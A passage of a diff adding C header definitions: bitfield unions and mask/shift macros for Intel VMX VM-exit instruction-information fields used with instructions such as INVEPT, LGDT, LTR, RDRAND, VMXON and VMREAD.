VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 5; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for VM exits due to execution of INS. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + uint64_t reserved3 : 46; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_ins_outs; + +/** + * @brief VM-Exit Instruction-Information Field as Used for INVEPT, INVPCID, and INVVPID + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 5; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 5; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for VM exits due to execution of INS. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is + * set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * [Bits 31:28] Reg2 (same encoding as IndexReg above). + */ + uint64_t register_2 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_FLAG 0xF0000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2(_) (((_) >> 28) & 0x0F) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_invalidate; + +/** + * @brief VM-Exit Instruction-Information Field as Used for LIDT, LGDT, SIDT, or SGDT + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 5; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 1; + + /** + * @brief Operand size + * + * [Bit 11] 0: 16-bit + * 1: 32-bit + * Undefined for VM exits from 64-bit mode. + */ + uint64_t operand_size : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_BIT 11 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_FLAG 0x800 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE(_) (((_) >> 11) & 0x01) + uint64_t reserved3 : 3; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is + * set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * @brief Instruction identity + * + * [Bits 29:28] 0: SGDT + * 1: SIDT + * 2: LGDT + * 3: LIDT + */ + uint64_t instruction : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_FLAG 0x30000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) + uint64_t reserved4 : 34; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_gdtr_idtr_access; + +/** + * @brief VM-Exit Instruction-Information Field as Used for LLDT, LTR, SLDT, and STR + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 1; + + /** + * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). + */ + uint64_t reg_1 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_BIT 3 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_FLAG 0x78 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1(_) (((_) >> 3) & 0x0F) + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + + /** + * [Bit 10] Mem/Reg (0 = memory; 1 = register). + */ + uint64_t memory_register : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_BIT 10 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_FLAG 0x400 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) + uint64_t reserved2 : 4; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions + * with no index register (bit 10 is clear and bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for register instructions (bit 10 is set) and for memory + * instructions with no base register (bit 10 is clear and bit 27 is set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * @brief Instruction identity + * + * [Bits 29:28] 0: SLDT + * 1: STR + * 2: LLDT + * 3: LTR + */ + uint64_t instruction : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_FLAG 0x30000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) + uint64_t reserved3 : 34; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_ldtr_tr_access; + +/** + * @brief VM-Exit Instruction-Information Field as Used for RDRAND and RDSEED + */ +typedef union +{ + struct + { + uint64_t reserved1 : 3; + + /** + * [Bits 6:3] Destination register. + */ + uint64_t destination_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_BIT 3 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_FLAG 0x78 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER(_) (((_) >> 3) & 0x0F) + uint64_t reserved2 : 4; + + /** + * @brief Operand size + * + * [Bits 12:11] 0: 16-bit + * 1: 32-bit + * 2: 64-bit + * The value 3 is not used. + */ + uint64_t operand_size : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_BIT 11 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_FLAG 0x1800 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE(_) (((_) >> 11) & 0x03) + uint64_t reserved3 : 51; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_rdrand_rdseed; + +/** + * @brief VM-Exit Instruction-Information Field as Used for VMCLEAR, VMPTRLD, VMPTRST, VMXON, XRSTORS, and XSAVES + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 5; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 5; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is + * set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + uint64_t reserved3 : 36; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_vmx_and_xsaves; + +/** + * @brief VM-Exit Instruction-Information Field as Used for VMREAD and VMWRITE + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for register instructions (bit 10 is set) and for memory instructions with no index register (bit 10 is clear + * and bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 1; + + /** + * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). + */ + uint64_t register_1 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_BIT 3 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_FLAG 0x78 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1(_) (((_) >> 3) & 0x0F) + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + + /** + * [Bit 10] Mem/Reg (0 = memory; 1 = register). + */ + uint64_t memory_register : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_BIT 10 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_FLAG 0x400 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) + uint64_t reserved2 : 4; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_BIT 15 +#define 